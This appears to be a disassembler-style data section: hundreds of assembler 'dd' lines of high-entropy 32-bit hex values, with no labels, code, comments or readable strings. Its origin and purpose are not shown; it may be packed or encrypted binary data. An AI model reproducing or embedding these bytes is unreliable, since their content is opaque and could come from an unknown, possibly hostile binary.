		dd 9C65CF08h, 544EAF2Ah, 0FE33FF0Fh, 205A8F51h,	0B0B82018h
		dd 49C46C6h, 2F5E7A38h,	0C9F53F39h, 992D6AA1h, 6BB419E8h
		dd 68147C29h, 0A77E7BF9h, 287ED3E7h, 0C550FBEFh, 4576833Ch
		dd 2DEBD04Dh, 0D0A66B05h, 0A0BA833Eh, 2A4EE776h, 0DA3C661Bh
		dd 284E687Ah, 3F597C14h, 5C5FA026h, 0C6D077DAh,	0D8009C0Dh
		dd 0DC3DC720h, 64D462DAh, 0DCD87E76h, 0ACE37E7Ch, 7A169FDAh
		dd 0DB4ADBECh, 0C21DBA2Ch, 0A63C797Dh, 39102D6Eh, 0EDBA398Eh
		dd 29110910h, 140820C5h, 34102010h, 0AE21ACEEh,	4100C10h
		dd 0CB35C6B8h, 0B810C16Dh, 0A83F6EC9h, 2A5DD607h, 8C27E72h
		dd 17C9E9Bh, 9E9B055Bh,	741A1048h, 7900148h, 0E6148461h
		dd 0E4987225h, 248EE169h, 4FB51E25h, 0A80B64BCh, 15501C07h
		dd 4F8C29BBh, 0EF1CC453h, 0DF8D6D10h, 1B6A1614h, 0EF7B4A4Dh
		dd 6F0488F2h, 60D693E8h, 27382E2Fh, 40587BDFh, 844551A7h
		dd 3849524Fh, 0C6391A0Ch, 7B57258h, 0BE00FDEEh,	6CD42CB9h
		dd 7D502D15h, 31247115h, 0D00C6205h, 152A1052h,	38846EC2h
		dd 0E07C2D01h, 6A756A4Eh, 5075F7A8h, 6CECA804h,	0AFA06D2Ah
		dd 361C6A2Eh, 28CFEC28h, 33A4F42Eh, 4D19D36Bh, 50176CB5h
		dd 0ACBA7DEBh, 9D4FD0C2h, 99F56F5Fh, 25EE18EEh,	2224732Fh
		dd 7D022D3Fh, 5EB8633Ch, 6A326679h, 0C6F0D74h, 3EBC2ACDh
		dd 152D74A1h, 0A81A5032h, 52D62D67h, 0A7DEA706h, 7F642C1Fh
		dd 0FCA7EC2Bh, 0A628C6EDh, 6D9440BEh, 2E50A9C2h, 23A22705h
		dd 6D6BACA6h, 0B43C2DA4h, 0A5F1BA08h, 0FD309C32h, 1E2D626Dh
		dd 5BA72E71h, 9D647CC1h, 7DD0A2FCh, 3C94583h, 28623FA3h
		dd 61E40D19h, 2EA7397Fh, 0DCDCAEEh, 3F3BB97Ch, 0AB0B6427h
		dd 4FF925FAh, 0EC09DD77h, 748CA823h, 0D848402Ch, 87D451A1h
		dd 0A9AC3A4Ah, 87FAF8CFh, 8CC2874Ah, 0DCC08E14h, 36B56610h
		dd 0BFF8C0F8h, 0D8C35FFCh, 2589277Ch, 0A7C4213Bh, 0EA18C039h
		dd 27ED393Fh, 3AC499EEh, 0F48FA7ECh, 8FB7366Eh,	6AA2F814h
		dd 0D8AA3B1Eh, 0ADA435F2h, 2EDCED07h, 0A7D42C2Ch, 0A5D637D5h
		dd 0CA54FC51h, 2C112B53h, 5E9EFC72h, 0EF19A5F1h, 0A56EC264h
		dd 0E00E1421h, 94A9A111h, 45B20517h, 7671A9C8h,	756E39F4h
		dd 0B30D1C1Dh, 0E02AC49Ch, 2D3835ADh, 5E061E94h, 1EA9237Ch
		dd 0DB469E4Eh, 88E9F471h, 87F06E1Eh, 0B68FE290h, 90E0D4BDh
		dd 0DFE3BFD2h, 8D8FC0E0h, 7F7F4C14h, 4FA21344h,	212C6862h
		dd 441D1AE9h, 5BA59944h, 3A0CAC85h, 0BFE32502h,	0E5732046h
		dd 0F440E4FEh, 0A7BE8092h, 0C8596E18h, 70E04CFBh, 577E5930h
		dd 796E1728h, 2DB6F4CCh, 0A4C02EE1h, 39A5F034h,	145CFDDCh
		dd 0DC795C6Bh, 0FDCCFC17h, 21ACC88Fh, 3C509D0Eh, 7C2CDD17h
		dd 265A2E7Bh, 0FC37DD07h, 728C7EEh, 0AFEE37E2h,	290AE8D4h
		dd 250482Ch, 0D5AD2453h, 0B918CC2Ch, 0C8C7085Ah, 32601D31h
		dd 4135EBC0h, 63883F9Bh, 2F46F034h, 31DC27Fh, 0D73F34F5h
		dd 24C46CCDh, 7288978Dh, 3CD6A6C6h, 0E11478EAh,	0CA406DC0h
		dd 32A5C44Ah, 0A3883AE4h, 4AFEE4F6h, 81929716h,	7A17A36Bh
		dd 0F9B25B8Fh, 70E0CCA1h, 0CCB1C26Dh, 1A1D8561h, 652A0ECh
		dd 149BE98Dh, 0FCF0DC62h, 0D0EB07B7h, 7FEA1559h, 9BBE820Eh
		dd 0B544F07Eh, 1F65B8B7h, 8F0107BBh, 0D10590B5h, 0A8B1AC94h
		dd 0B4FD8C3Ch, 812C5579h, 0E6A04945h, 7D3434A7h, 854DE8B2h
		dd 98650522h, 0E5208E03h, 0D87D52ACh, 281C2452h, 0A12A371Dh
		dd 0E3176D2Dh, 2D46D450h
		dd 1D7F1230h, 0DC998F3h, 6E5AAD92h, 172D63A1h, 459DA5E6h
		dd 23528AB4h, 2876ECCEh, 2E1CFA2Fh, 0DD611520h,	0C3CD21E8h
		dd 1F7C2D6Fh, 6D59B65h,	0AF2C3F27h, 20182EEFh, 38A254F6h
		dd 0EBAF2EE5h, 0EB7A7B2Fh, 9D395D2Ch, 0FCF1387Fh, 47A9CAAh
		dd 5B095EEAh, 2C342837h, 0E19D0AE4h, 4F7DA17Bh,	13A7D86Ch
		dd 0BFA8B78Eh, 6AE5CB20h, 30D376C1h, 3C30B1C4h,	0FD176E1Eh
		dd 251721A4h, 0D31B60A6h, 584C5EFCh, 176C1C20h,	0DFECA3EBh
		dd 8C927A18h, 7A624594h, 711CB0CAh, 0BC445779h,	5185FA94h
		dd 997FAAE6h, 0BC155820h, 242D40FBh, 44FCD37Dh,	9E1534A0h
		dd 8D409AEEh, 4CC1F6E0h, 2819A748h, 29E5E56Ah, 0FAA444FAh
		dd 0FF64F938h, 2401A568h, 87447B30h, 0C861087Fh, 0A2F45D51h
		dd 0A02EDCC8h, 0DC59B20Fh, 189D0A7h, 35EC9A70h,	26D7A65Ah
		dd 0A386F4Fh, 0A83FD42Fh, 9079A136h, 0AC010110h, 5157D8DFh
		dd 6D3528A4h, 522EA66Eh, 59BCE1B8h, 0C05935C5h,	0D1C0ADAEh
		dd 1A10EE4Eh, 6CAE4E2Bh, 7C6D3E67h, 40A10374h, 6813A408h
		dd 377CD616h, 78AF7724h, 0A768367Bh, 2AD66211h,	9C977599h
		dd 9CF2AE16h, 0DAFBA0h,	0C07C9FE9h, 0FA76EDACh,	619504A9h
		dd 0ED30970Bh, 4F2CB134h, 0F0FAEC9Eh, 16A594FBh, 0FA449786h
		dd 0A2313199h, 95588C60h, 3A85B561h, 4519A1A9h,	54C82D44h
		dd 0A5987EAh, 676A723Bh, 8A0D276Ch, 3ABCDB00h, 0EA045881h
		dd 2C0DB423h, 3DB09DFDh, 0D854E9AFh, 2F2A7B22h,	0B570B56Fh
		dd 29F61DEBh, 7D4408B9h, 2C73CF62h, 0E4D8F67Fh,	85B60C35h
		dd 23FC6EC0h, 11FB6DFh,	0AE056848h, 9620CD0Ah, 0EB777D44h
		dd 5A962CEDh, 29DC059Ch, 0AAFF3772h, 0A0011070h, 1E6C5CBDh
		dd 7A015F7Fh, 4ECCEC83h, 54AADA26h, 583C1C84h, 18D52D5Fh
		dd 877C6F52h, 6C95E8F2h, 0DA1F7C60h, 8C560D6Ah,	0C8605927h
		dd 0E12514BCh, 0D895E044h, 0F3A2304Eh, 2B7F7CBDh, 3B904911h
		dd 91750846h, 196FE7DCh, 0EBD2C07Eh, 358C76A7h,	7CDF3A3Ch
		dd 0BF344058h, 0B49318CEh, 0A772567Bh, 0A93C3CC6h, 59EA251Dh
		dd 2E654022h, 0AF0C36CCh, 5E2E4051h, 0B2BC7CFh,	5FE9B0C8h
		dd 222DC721h, 29EB58C4h, 702CFDF4h, 0E444290Ah,	50110200h
		dd 2771D5C4h, 3444AB12h, 0DF38DC94h, 1DEA11E6h,	2CA907E2h
		dd 0EAEA95ADh, 0D5A8D499h, 0E274DB38h, 54B638D8h, 44D0DC5Ah
		dd 642A798h, 39403013h,	0F47CA73Fh, 0EB4BBB77h,	88C4C246h
		dd 41C57395h, 0BCB744FDh, 3C2DDD70h, 0F4B04498h, 204600F6h
		dd 5DB52B03h, 0F43B3815h, 0C7B84419h, 0A14D5899h, 0A9AE7A0h
		dd 0C3ACA8BCh, 541B4BF4h, 0F8D44E1Ch, 10716AA6h, 443461D6h
		dd 43A5D04Ch, 0C86B40F9h, 0DDA85B38h, 6EFEC5FFh, 0A1ED4059h
		dd 0A034395Fh, 0AD0D9248h, 7B304439h, 77B27DAh,	0F0744478h
		dd 7B61AFC9h, 0B6907EA7h, 60756E5Fh, 9A0D597Fh,	0A5F0E50Bh
		dd 0E83AA730h, 4EDC0859h, 6768EA5Ch, 44194414h,	48295EB4h
		dd 44CDEB87h, 0AC0FE466h, 5034570Bh, 0DC8BADD5h, 627D8A24h
		dd 0CC7F7E64h, 0C5FA68CBh, 0C47B432Dh, 27484786h, 640FC764h
		dd 4F70443h, 95C42D0Eh,	1578ADBAh, 8A315879h, 21DB6072h
		dd 2F686B48h, 0BD437DE4h, 0AFFB4494h, 46646B2Ch, 628D0375h
		dd 0A3D1D03Ch, 861D4ADFh, 0B23AADACh, 75E4F3C7h, 0ACD9625Ch
		dd 0C1288CE5h, 44CBD425h, 0C47EC6FDh, 649D0A0h,	0E1D4AB01h
		dd 4DFD956Ch, 38CB5F97h, 0B8113201h, 3E4F1044h,	36238A95h
		dd 0E314249Bh, 584FB2AAh, 2AAC1D35h, 64ED07AFh,	7D2FED64h
		dd 0DAF695A3h, 88426C3Ah, 0AF583EC7h, 0A7C2FECh, 14B34A6Fh
		dd 6BA38FC5h, 1DD5341Ah, 7CAC37CDh, 89BA1F3Dh, 94C7A2D7h
		dd 0D0D01817h, 8F97A294h, 34E4E41Ch, 0ABD1AFE1h, 2B585CECh
		dd 0D395D9A8h, 0ECAA2DCDh, 4FD9A991h, 11E5FEE3h, 0DC0EB40Ch
		dd 0E8957CD8h, 0E985D802h, 7C48204Dh, 0FF20D7FCh, 0E2649A64h
		dd 6FF91DDCh, 30BF5346h, 0B6882ED3h, 99333608h,	54B13422h
		dd 0D29846D5h, 7217911Fh, 0D03CB277h, 0B454DDE0h, 8F7D94D0h
		dd 0A872179Ah, 0A1A1CEA0h, 4DDEF87Dh, 6A5F1546h, 0F0D974D5h
		dd 7C4BAB46h, 0A73B909Dh, 35F8AB1Fh, 27CDD1C4h,	0D1C5B813h
		dd 0E94D844h, 1E40FCDh,	70F934FEh, 0D8DD6967h, 73343058h
		dd 39445519h, 0E87A1A17h, 8D20C7D1h, 7C039B92h,	4BED5E94h
		dd 942959ACh, 0C8B42ADCh, 7E511CFCh, 7575FF3Ah,	7A8FD0C9h
		dd 59CBFE36h, 5D25D345h, 8F4C1B6Fh, 557F4A0Eh, 6CA51CF5h
		dd 53E4E8Ah, 0B04EE718h, 34F122AFh, 2D0D58C8h, 7CC73AB1h
		dd 0BC96C058h, 0F6BA77C0h, 0E615CB2h, 0A5691E5h, 0D38A2FFh
		dd 4612AEC8h, 0C70202Eh, 0C46FA5Ah, 588A7A72h, 0E2A5EA3Fh
		dd 44933F89h, 0DB32D236h, 113FB841h, 5923A8Ch, 38FADD58h
		dd 0D84EE219h, 7BD27A03h, 332E75E1h, 1E7FE045h,	708594B5h
		dd 0D01DB944h, 0CE47581Ah, 0C72F04D6h, 94C8441Dh, 4374F844h
		dd 0C1FC0FCDh, 0A1ECDE68h, 68E515A5h, 2D2AFF7Dh, 52EA1740h
		dd 2F7E1C19h, 0F58F411h, 440EBA8Fh, 510EEA70h, 66EB7405h
		dd 0B5023FACh, 8EDCE077h, 1E6CC63Bh, 0F49229C2h, 0B41E216Ah
		dd 885033A2h, 4C48EE03h, 58D5CDADh, 20EC1E4Ch, 20BE8A6Ah
		dd 4775208Bh, 0AA35447Bh, 44CD0647h, 9C1ABE60h,	26A00DE1h
		dd 0E46B389Ch, 41925D0h, 7A7965FBh, 998E38DCh, 187B7B7Bh
		dd 24D46E45h, 7239186Ch, 12A56B2Fh, 843452A5h, 72284D4Dh
		dd 0E73EBA7h, 9E3B9EFBh, 2A4BC4B0h, 27BB27Ah, 0D85D59ECh
		dd 300C5042h, 71662F24h, 7C505C34h, 0EBEB7582h,	0C0780484h
		dd 0DDFF8106h, 0EB95A492h, 0C0311DCBh, 0DEFA26A0h, 0A508A9FFh
		dd 0C05257B5h, 20A240FFh, 71853841h, 33441AE8h,	8C8B2C46h
		dd 2B593DF6h, 3B2AB392h, 7F0EC7D6h, 0AD80A4D7h,	59EEEB24h
		dd 1F7C5C77h, 58FCA9BEh, 291048EBh, 97C75B3h, 30100A46h
		dd 8DA44FA1h, 2F05FB6Ch, 6F469868h, 0EA165E3Bh,	3502E443h
		dd 0F2358509h, 0A58A9B75h, 0FA9820F5h, 0C7FF063Ah, 37E29464h
		dd 8608A40Bh, 20C6E2DFh, 2BF03920h, 593D20B4h, 0C26C230Fh
		dd 0A55C307Ah, 0E462182Bh, 0D8FDC611h, 0BBE03DBBh, 9009D371h
		dd 7F1DB8B6h, 0B30E2360h, 629A960Ah, 107791Dh, 9C44BF10h
		dd 7A5474C4h, 1C8FB044h, 0C06E30FBh, 5A505A50h,	0C454DCA0h
		dd 5A505A50h, 0D878D444h, 5A5A7E4Fh, 178FC810h,	8FF6E09h
		dd 0F891863h, 0BA24BF45h, 687F26CAh, 0E3192481h, 0A450482Ch
		dd 940F7FA9h, 199350F8h, 0A476C4DAh, 0BE1E8046h, 4189FFFh
		dd 59975CB5h, 75A428D4h, 759CF20Eh, 8D47CC95h, 91758C0Fh
		dd 1CB08B6Ch, 0B498F5BCh, 74FB7CFCh, 23CA4600h,	1CE9BE9Bh
		dd 69CA6100h, 759D4EFAh, 6C28A12Ch, 0A72FCCEDh,	0CA07C4E4h
		dd 0F48DFC00h, 0E547C62Fh, 59307E10h, 0F0C0F65Ah, 6E3DEF8Dh
		dd 93FE1F5Fh, 2F320474h, 0E417DBDBh, 9F3025Ah, 37BD79EAh
		dd 0C56A267Ah, 0E51D1DFAh, 0C7549A7Ch, 0BFCC11ADh, 0E9E062DCh
		dd 24630C59h, 0C2AC95DCh, 38C72C1Ah, 0B69C45F6h, 0F0B85632h
		dd 0AA580594h, 7C7F982Ah, 0B2E627C1h, 1D36E7F1h, 4FE019ABh
		dd 5C54533h, 0FE159D2Ah, 88D2B74h, 0FC5C8976h, 5847BC15h
		dd 4ED84E25h, 1931A593h, 6D439BFCh, 0CC8DFAE9h,	4BB28082h
		dd 2B38FACCh, 0E08D00D3h, 4A8FF931h, 0F9B4F800h, 7A9AB23Ch
		dd 287AFC92h, 8F111061h, 49DDE21h, 1E542058h, 0E204546Dh
		dd 9A74927Ah, 7AA1955Ch
		dd 9D1C1D48h, 520AD4AFh, 27791C15h, 10F6B242h, 0C4890C5Dh
		dd 85028578h, 0F4DEEC71h, 2929C81Bh, 3FCD7548h,	402FFA65h
		dd 0AF9F1DDCh, 0A09E7BEh, 98309727h, 0F884F965h, 0DE368B8Eh
		dd 36A07919h, 0C1AE4FC5h, 4381A44h, 5E400EB5h, 5D2FC67Fh
		dd 39914690h, 2AB3E559h, 7C646413h, 69F4EDF3h, 0B175CCB5h
		dd 8C9CAB2Dh, 0C071A452h, 5C3B5CC1h, 0DCC3C230h, 2DDD69EAh
		dd 6BF5C468h, 31806AC1h, 6537EE67h, 0C7586C5Ah,	0FCB01963h
		dd 9F8D14D4h, 34F0FE4Bh, 8A65880Ch, 63AE6970h, 0A199A5D3h
		dd 32A56C8Ah, 2EDC6ED3h, 420AE7D1h, 0E63BBC7Fh,	6309781h
		dd 2E25ED4Ah, 0FAF4E3BAh, 0BF3DDC30h, 0B9A71CFDh, 44A9FD72h
		dd 84118538h, 0A826046Fh, 69AD0671h, 0A08C76CCh, 0D8115864h
		dd 9708AAA1h, 6DAC95FEh, 3739D2E7h, 4023B83Bh, 0E82E2A58h
		dd 64483C1Ch, 225EDC17h, 0E77F9A0Bh, 0A91DBE08h, 0A0D8920Bh
		dd 15C9D5C7h, 585859A5h, 397B971Fh, 0EBEC0A7Bh,	0F42F7097h
		dd 26C7F55Eh, 0F0AA597Ah, 0EF6F3CE6h, 72C3EE9h,	0B1B16098h
		dd 85D2D21Fh, 0BD278196h, 6C11089Ch, 42A6E3C8h,	94E9289Fh
		dd 24AC6A04h, 612E012Ah, 199B6EDh, 0B054EC2Ch, 0E6448BC9h
		dd 0E74DC2B0h, 9FED042Ch, 0D3ADF16Ch, 0AF230B3Ch, 8817BC80h
		dd 76927B46h, 0C0FA305h, 6CEF4148h, 0F6319AAh, 0EBA77A9Fh
		dd 0A1AEC453h, 2491E393h, 4EEB17BDh, 0D80C2DAEh, 3DA63D58h
		dd 2C26D6ACh, 0D6AB06B7h, 7C35921h, 2E88DF96h, 0DC61A5E2h
		dd 16CE21C7h, 2B20CEE8h, 132D67E4h, 41C35BEAh, 71DFD20h
		dd 0D451A7EAh, 6551896Ch, 65441A7Bh, 0BCBDFED4h, 5D7B1127h
		dd 3A9B7A0Dh, 61A7AFC6h, 0D528DCC0h, 0A17DDC1Eh, 2B39B6ACh
		dd 0AEC75664h, 9F85107Eh, 0B45809F6h, 0BB60C8A9h, 166987Ch
		dd 6122CA6Eh, 440A905Dh, 0C78B2A25h, 8ED4F52Eh,	57E56100h
		dd 0DCC9BCBAh, 6B34BADDh, 7A6A0D29h, 88BB6DB4h,	67E00001h
		dd 10346C2h, 0A758728Ch, 5AD417FAh, 985FB328h, 5E2EC77Ch
		dd 0F96AA8DFh, 8F5215A7h, 0BED2A03Eh, 20337E89h, 0F0D0ED47h
		dd 0EEE66280h, 719B0A4h, 791F28BAh, 459EA895h, 61B36C91h
		dd 0EC812A8Fh, 0AE10B4CFh, 46753B46h, 0F3B8EF2Eh, 76EEB8FCh
		dd 742F150Dh, 3029D0B8h, 0A1F898EEh, 0E47DD861h, 6127BEFCh
		dd 0CC4796BCh, 7C7DAD34h, 0B4BC79A5h, 5F8859A5h, 804019D3h
		dd 305CC0ACh, 0E8949CEBh, 0E0FC5CE0h, 0F4CFA232h, 5D48C0C8h
		dd 1E56A2C2h, 4AB56569h, 5483D813h, 0C76C01E0h,	4FEDB22Fh
		dd 0D369B886h, 82E9E215h, 573E582Dh, 259D239Dh,	0FE5FC887h
		dd 0CB6AB115h, 153DC540h, 0DCB9B828h, 1E7CEE29h, 0F948A5F7h
		dd 1A76518Ah, 0B0470FAEh, 306DE51Fh, 8035EB30h,	7DD4C0E0h
		dd 4175367Ah, 5193B416h, 6D922AD9h, 0B28CB079h,	983D86E9h
		dd 0F5EB9451h, 0EC9014CDh, 0F0F45CF8h, 306A82A8h, 5759D8CCh
		dd 70081C9Dh, 5E8B817Ah, 0AD4A959Ch, 0E4F4A772h, 0EB6A4DE6h
		dd 7A4404E4h, 683CD048h, 2A89D214h, 7A2BA598h, 4C1F2BEAh
		dd 7AA4FB0Fh, 0ADB6527Ah, 6B784B48h, 2BA4FFB8h,	66585F97h
		dd 0B156F22Ch, 0F736F7DBh, 403CEFD2h, 7C157708h, 0A61C3AA1h
		dd 56085AEFh, 0FA262DE1h, 7B2C4619h, 0F1B48B34h, 0F8592858h
		dd 6AEA0335h, 8A58F46Ah, 9D7B376Bh, 0EA1E5EE0h,	0FCB2A82Ah
		dd 68241D84h, 0C63FB060h, 64119FF9h, 0F275EFEDh, 0EA350A77h
		dd 118F26C8h, 68ACFF9Bh, 263F5857h, 75660755h, 0D1B18AEFh
		dd 5330B5B7h, 528B80Ah,	92ACB954h, 0C13E96E8h, 3DA9902Ah
		dd 8300CA08h, 9BAFE49Ah, 45442E9Fh, 29FF78E3h, 0EB21A82Bh
		dd 902C0828h, 0CE3FA497h, 488A7835h, 0A00D0DE8h, 0CABD7544h
		dd 0DE97C832h, 2B281561h, 5800BD53h, 0F82CB55Ch, 0F208DC1Ch
		dd 0DFE48056h, 483A1CE8h, 3FB53A40h, 79D32F2Fh,	0E2FE2858h
		dd 0D4445621h, 62D934Fh, 732946AAh, 0B4405115h,	5C259A55h
		dd 1D5D09C7h, 11A52576h, 0A8D96A14h, 0C54F1F2Fh, 4DFB06B2h
		dd 0A5DCDF91h, 0C694E831h, 0C7670EFFh, 320A6CDBh, 0DDDC941Dh
		dd 0C8059C48h, 99C541D7h, 19A57ACCh, 2AD4E0D8h,	0AC925C2Ah
		dd 15BFBBA2h, 6D2D8B1Ch, 31B56298h, 0F6B322CFh,	2AA7716Eh
		dd 0F444D2DCh, 12C2A6F4h, 744094B8h, 0CBCAAC58h, 0AC8189Eh
		dd 0C0C774D9h, 71661FD1h, 0A218E97Ah, 504CB9BDh, 9597D8CFh
		dd 525B3185h, 4CD0C494h, 60C621A6h, 47B48801h, 7562ACB2h
		dd 2F6085CCh, 74E04309h, 27C4AFFBh, 5B0507CAh, 0EE4A1B59h
		dd 44950C1Ah, 0EA27C5AFh, 0A8DC2428h, 0FFBC24A2h, 1E986D94h
		dd 0FFD87D49h, 0F034D7D8h, 0D30F5815h, 1F5F631Ch, 2B25855Ch
		dd 7297A881h, 0C736737Bh, 5DFC2378h, 0B6DE4B8Ch, 7AA492CCh
		dd 7E4FA02Ah, 0A0468F70h, 0FE5C3FFEh, 0D8A64245h, 0A73871A5h
		dd 3E7B7C70h, 6079F9FFh, 48A0E8CEh, 67D9B443h, 75F18277h
		dd 0C8312638h, 0AF7FA85Dh, 0D7BC8BD4h, 85C24D19h, 0EADC99FEh
		dd 81452BD5h, 7A80DCD1h, 0D8D827A0h, 8496E80Fh,	6E573E0Eh
		dd 94893288h, 0FA7FF668h, 0BB1162DAh, 0A21316DCh, 0C61FFA67h
		dd 99B91750h, 5D017F09h, 0A15786DBh, 31F8167Fh,	71EA3E18h
		dd 513BA491h, 0D4A4F17Ah, 3EB72460h, 7F55EBFFh,	0B3ACCC58h
		dd 0D47DF058h, 1A5867EDh, 0DF86FF29h, 0D1A87BCFh, 0BD8BB4D8h
		dd 543AAC09h, 0A38FCA06h, 0A4A48A87h, 0CF80C613h, 0A2A0A4A0h
		dd 0A0A29861h, 0F0E1FA9Bh, 377F7939h, 8BB467D0h, 6EB1D0B1h
		dd 1CEF79CBh, 0A1FD588Dh, 0C26DA545h, 784DB690h, 0A1A42F56h
		dd 0D4DA16DDh, 0AEF666F2h, 1B6E5D09h, 5EBC5CDCh, 48A34F10h
		dd 0B0A98499h, 0CE29F8BCh, 69EA2278h, 9673A064h, 88A7A1Ah
		dd 6A2FDD78h, 5C0854DAh, 260246DBh, 29D4BADCh, 7EB2FFFh
		dd 0CD3154EAh, 0F8727923h, 7336E8EFh, 2F687771h, 0D82EAEE9h
		dd 0B94C3115h, 0A8A4FCA9h, 278D4E59h, 3BAFC029h, 6758A734h
		dd 0E3DE78CEh, 89C8C8h,	0A73B766Fh, 2107BA6Dh, 0C6176EB1h
		dd 84AC5737h, 165E38FFh, 0F73B267Dh, 15413D9Ch,	0C9454B3h
		dd 0C0EE2059h, 54442F6Ah, 0C4BB3F89h, 0D914E834h, 0FDD4E98Eh
		dd 0BA8EF3B9h, 10CEF293h, 0BC7F7B0Bh, 0B8C40068h, 0F4D619A0h
		dd 5832CD8Dh, 54188C17h, 4E81B4A3h, 7575CE6Eh, 4C064C1Fh
		dd 3C29610Eh, 0D451AF4Ah, 286B592Dh, 440EE9FBh,	621A4834h
		dd 264A7682h, 2127EA51h, 29C7D477h, 0A86B5E90h,	0A4C5D88Ah
		dd 852CF127h, 0DC448BBCh, 4D8E164Eh, 810259FAh,	0F4F0FF5Eh
		dd 48D05284h, 0A96D6BCAh, 0A52A2D0Ch, 60445E8Bh, 40E98190h
		dd 52C5FAC9h, 0D1010660h, 0A24ABAF2h, 2C832BA2h, 6A2F38DCh
		dd 9CC46935h, 593BF8E4h, 3A7AECCEh, 0BD3AC430h,	8CBE544Bh
		dd 0FC974F9Dh, 0ABF3358h, 2DFDDE6h, 5D095F37h, 63E6D1FCh
		dd 10449C84h, 0F05816CCh, 46349018h, 0F6FD1229h, 76852F99h
		dd 0BCE6C6C3h, 66C670ECh, 0C14505F4h, 41891FAEh, 6D6CD4F8h
		dd 891C4415h, 0E654185Ah, 9B61E4C1h, 77CEC131h,	846A0198h
		dd 33A56359h, 0C0D43056h, 143EE563h, 6A96E267h,	63C82ADDh
		dd 3B58183Eh, 2BB1417Fh, 0ABBA7BF4h, 7331E03Ah,	81633078h
		dd 0AA6FD40Ch, 220759CFh, 0E4CC8D2Dh, 0F4AD29A2h, 55F0C88Dh
		dd 0CC67633Ch, 0FA413E1h, 6997E0E4h, 0D37FBC99h, 7B93E2A4h
		dd 0A81F2724h, 857B0ADCh, 4FD25AD6h, 0ABF1E05Ah, 984D6ACBh
		dd 0B7D9E469h, 8093A5B2h, 4B75A555h, 9E6B30DBh,	28F4E7B9h
		dd 0C4EB6AB2h, 6E195820h
		dd 5973A8DDh, 3104A336h, 4ECFCCEBh, 0E0E48D65h,	9D52C8AFh
		dd 0A3BC3FC7h, 0C17BE84Bh, 5BC8F633h, 7EA543F8h, 4BDA28CAh
		dd 0A9334059h, 4BF5E889h, 0E8E87253h, 23303466h, 44D090AAh
		dd 0E9859030h, 95203FBDh, 17B50189h, 0D8F52348h, 94381489h
		dd 462E4A88h, 6FE8CBABh, 0EF4D046Ch, 0A4205388h, 6F83BAB1h
		dd 93ED9125h, 9E38F4C7h, 685C0159h, 0D41FD18Bh,	0E72EF044h
		dd 0E06B838Ah, 7B7B8A0Eh, 0D95A65F7h, 4ACEC815h, 0D831DC8Eh
		dd 0FFA92DE1h, 927F81AFh, 0FA66B124h, 74800C08h, 2C28D409h
		dd 0B1752145h, 7CE992D0h, 0E9E8322Bh, 0F27F6EC9h, 55B61621h
		dd 1EB27F9Ch, 0FA7C7634h, 29DA2AC7h, 8BD93070h,	9E362D4Bh
		dd 37592711h, 0D10821AFh, 6D876874h, 748FD76Dh,	481970B9h
		dd 0FD17F4F9h, 0D88A345Dh, 0AFE9D33Bh, 47197021h, 0D611755h
		dd 494D85E1h, 0E6EE1342h, 0F05E798h, 0CAEAFCFAh, 791529C5h
		dd 58A14CA0h, 664F9D3Ah, 4BA3B990h, 3F49008Ah, 0AA17F058h
		dd 3093D9A8h, 14BA19Eh,	4169047Bh, 0FA7B3B84h, 4D9323DEh
		dd 18868F96h, 8DE8F571h, 0E6D0893h, 6318B162h, 0D8F7E12Fh
		dd 0A46A1312h, 67202D9Ch, 9544B1F5h, 0D8D5B1A6h, 57F92FBh
		dd 8A7ABD4Bh, 971F15B4h, 0CE499F11h, 23925100h,	5AA5ED27h
		dd 8F3E2DC2h, 1FA039A9h, 0E44C84D3h, 2F7B6C97h,	7BBBB700h
		dd 2ADF216Fh, 0C051A57Fh, 3FD14A8Dh, 0E38BD3A2h, 10175908h
		dd 0E894C6A6h, 9CDAD13Bh, 6CE013B0h, 62B2D02h, 40592273h
		dd 0CA3CD678h, 58CE6318h, 420D3144h, 13EA2C38h,	2CC0BFFAh
		dd 1BBDD2D9h, 1792171Dh, 4FDDB77Ah, 0FD8CF8ACh,	7A4718EFh
		dd 0C14A4E7Ah, 96163FF8h, 5AA47A4Eh, 967A0DB5h,	7B56B58Eh
		dd 0F960DF3Ch, 0D6862FB9h, 2D8C4EEBh, 0FC44A110h, 30482C2Bh
		dd 585C7626h, 8D7C7F21h, 0CD252FD1h, 88AE6C48h,	48248D7Fh
		dd 0DB5FB4AAh, 0DB1DD08Dh, 6B6FADBEh, 288D27A3h, 8A483C28h
		dd 219E0557h, 0A7F66144h, 3E148D90h, 0FE70C35Fh, 52256DF6h
		dd 0C40E71EFh, 0D82937B8h, 2A467F78h, 2A65F5AAh, 97A992ACh
		dd 0A5FBB225h, 8F672871h, 3E919CBDh, 0AC9A1A6Ch, 0A16E594Dh
		dd 6967671Eh, 8A6DE07Dh, 8AE077BBh, 94208F3Dh, 0E0F4C402h
		dd 7F35588Fh, 0B4A2CDC5h, 1E207D3Ch, 0F411871Dh, 797060E1h
		dd 0BC928A02h, 7A3EF67Dh, 7448B1D1h, 0A8279444h, 4B5ECAB2h
		dd 2FFF6B7Eh, 4EBE570Ch, 75690159h, 2EA5CA8Eh, 0C77C7CC7h
		dd 0F6E7A6Bh, 2FA6D55h,	0A82E7571h, 2FA2A328h, 0AFC4A7ECh
		dd 0F796AD1h, 7E2737D8h, 0F034E36Bh, 0EDC0E551h, 4E4712BEh
		dd 56E6DA2h, 0C0D71177h, 7562D032h, 1420DA8Ch, 718F331Ah
		dd 2485D2F8h, 5422F9D7h, 0A7F4FE74h, 0BD65C9B6h, 0A5A28D13h
		dd 2927273Ah, 88D46B30h, 0FC2D6B30h, 314B3259h,	0FCD8DCFEh
		dd 0B25B95C4h, 2EC4FCDCh, 7E18CB3h, 9826A7E1h, 1A3CE404h
		dd 372900F5h, 26BD9F21h, 0C861A5C4h, 22E63654h,	3D5AAA19h
		dd 5D6B878Ah, 85CA9F30h, 44836D28h, 0E4749040h,	0A59CF58Dh
		dd 2C95C869h, 0F322342Bh, 656FC42Eh, 2B0114A4h,	0C565468Ch
		dd 803164D0h, 5770BA84h, 398C360Ch, 47A046Ah, 154E6032h
		dd 67589CB1h, 7E17B6FAh, 234C99E0h, 25C729B4h, 5EFB283Ch
		dd 942146D0h, 39C066A1h, 1B9C9350h, 2C99D3A4h, 277E367Ah
		dd 0D7560499h, 99E4ACEAh, 0CDAC345Fh, 7827C7B6h, 2CF442E9h
		dd 0E86B066Fh, 8189EFC8h, 9DD2A65Ch, 5864FE78h,	12CE64C9h
		dd 0B41666Dh, 0F4977A34h, 5B386AE7h, 0E50FFD84h, 139E7EAh
